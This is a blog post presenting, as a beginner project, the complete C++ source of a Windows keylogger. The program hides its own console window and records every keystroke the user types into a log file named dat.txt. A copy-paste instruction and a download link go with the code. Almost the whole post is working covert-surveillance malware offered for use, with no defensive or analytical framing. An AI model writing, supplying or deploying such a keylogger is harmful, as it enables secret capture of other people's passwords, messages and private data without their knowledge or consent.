C++ Program to Build a Keylogger EXE (Executable) Program to Record Keystrokes of User in Log File Full Project For Beginners

  • Post author:
  • Post category:c++
  • Post comments:0 Comments

 

 

Welcome folks today in this blog post we will be building a c++ keylogger executable exe program which records keystrokes pressed by user inside a log file. All the full source code of the application is shown below.

 

 

 

Get Started

 

 

 

 

In order to get started you need to make an source.cpp file and copy paste the following code

 

 

source.cpp

 

 

#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <fstream>



using namespace std;



void LOG(string input) {
    fstream LogFile;
    LogFile.open("dat.txt", fstream::app);
    if (LogFile.is_open()) {
        LogFile << input;
        LogFile.close();
    }
}


bool SpecialKeys(int S_Key) {
    switch (S_Key) {
    case VK_SPACE:
        cout << " ";
        LOG(" ");
        return true;
    case VK_RETURN:
        cout << "\n";
        LOG("\n");
        return true;
    case '¾':
        cout << ".";
        LOG(".");
        return true;
    case VK_SHIFT:
        cout << "#SHIFT#";
        LOG("#SHIFT#");
        return true;
    case VK_BACK:
        cout << "\b";
        LOG("\b");
        return true;
    case VK_RBUTTON:
        cout << "#R_CLICK#";
        LOG("#R_CLICK#");
        return true;
    case VK_CAPITAL:
        cout << "#CAPS_LOCK#";
        LOG("#CAPS_LCOK");
        return true;
    case VK_TAB:
        cout << "#TAB";
        LOG("#TAB");
        return true;
    case VK_UP:
        cout << "#UP";
        LOG("#UP_ARROW_KEY");
        return true;
    case VK_DOWN:
        cout << "#DOWN";
        LOG("#DOWN_ARROW_KEY");
        return true;
    case VK_LEFT:
        cout << "#LEFT";
        LOG("#LEFT_ARROW_KEY");
        return true;
    case VK_RIGHT:
        cout << "#RIGHT";
        LOG("#RIGHT_ARROW_KEY");
        return true;
    case VK_CONTROL:
        cout << "#CONTROL";
        LOG("#CONTROL");
        return true;
    case VK_MENU:
        cout << "#ALT";
        LOG("#ALT");
        return true;
    default: 
        return false;
    }
}



int main()
{
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY = 'x';

    while (true) {
        Sleep(10);
        for (int KEY = 8; KEY <= 190; KEY++)
        {
            if (GetAsyncKeyState(KEY) == -32767) {
                if (SpecialKeys(KEY) == false) {

                    fstream LogFile;
                    LogFile.open("dat.txt", fstream::app);
                    if (LogFile.is_open()) {
                        LogFile << char(KEY);
                        LogFile.close();
                    }

                }
            }
        }
    }

    return 0;
}

 

See also  C++ Program to Build a Movie Ticket Booking Management System Full Project For Beginners

 

 

DOWNLOAD FULL SOURCE CODE

 

Leave a Reply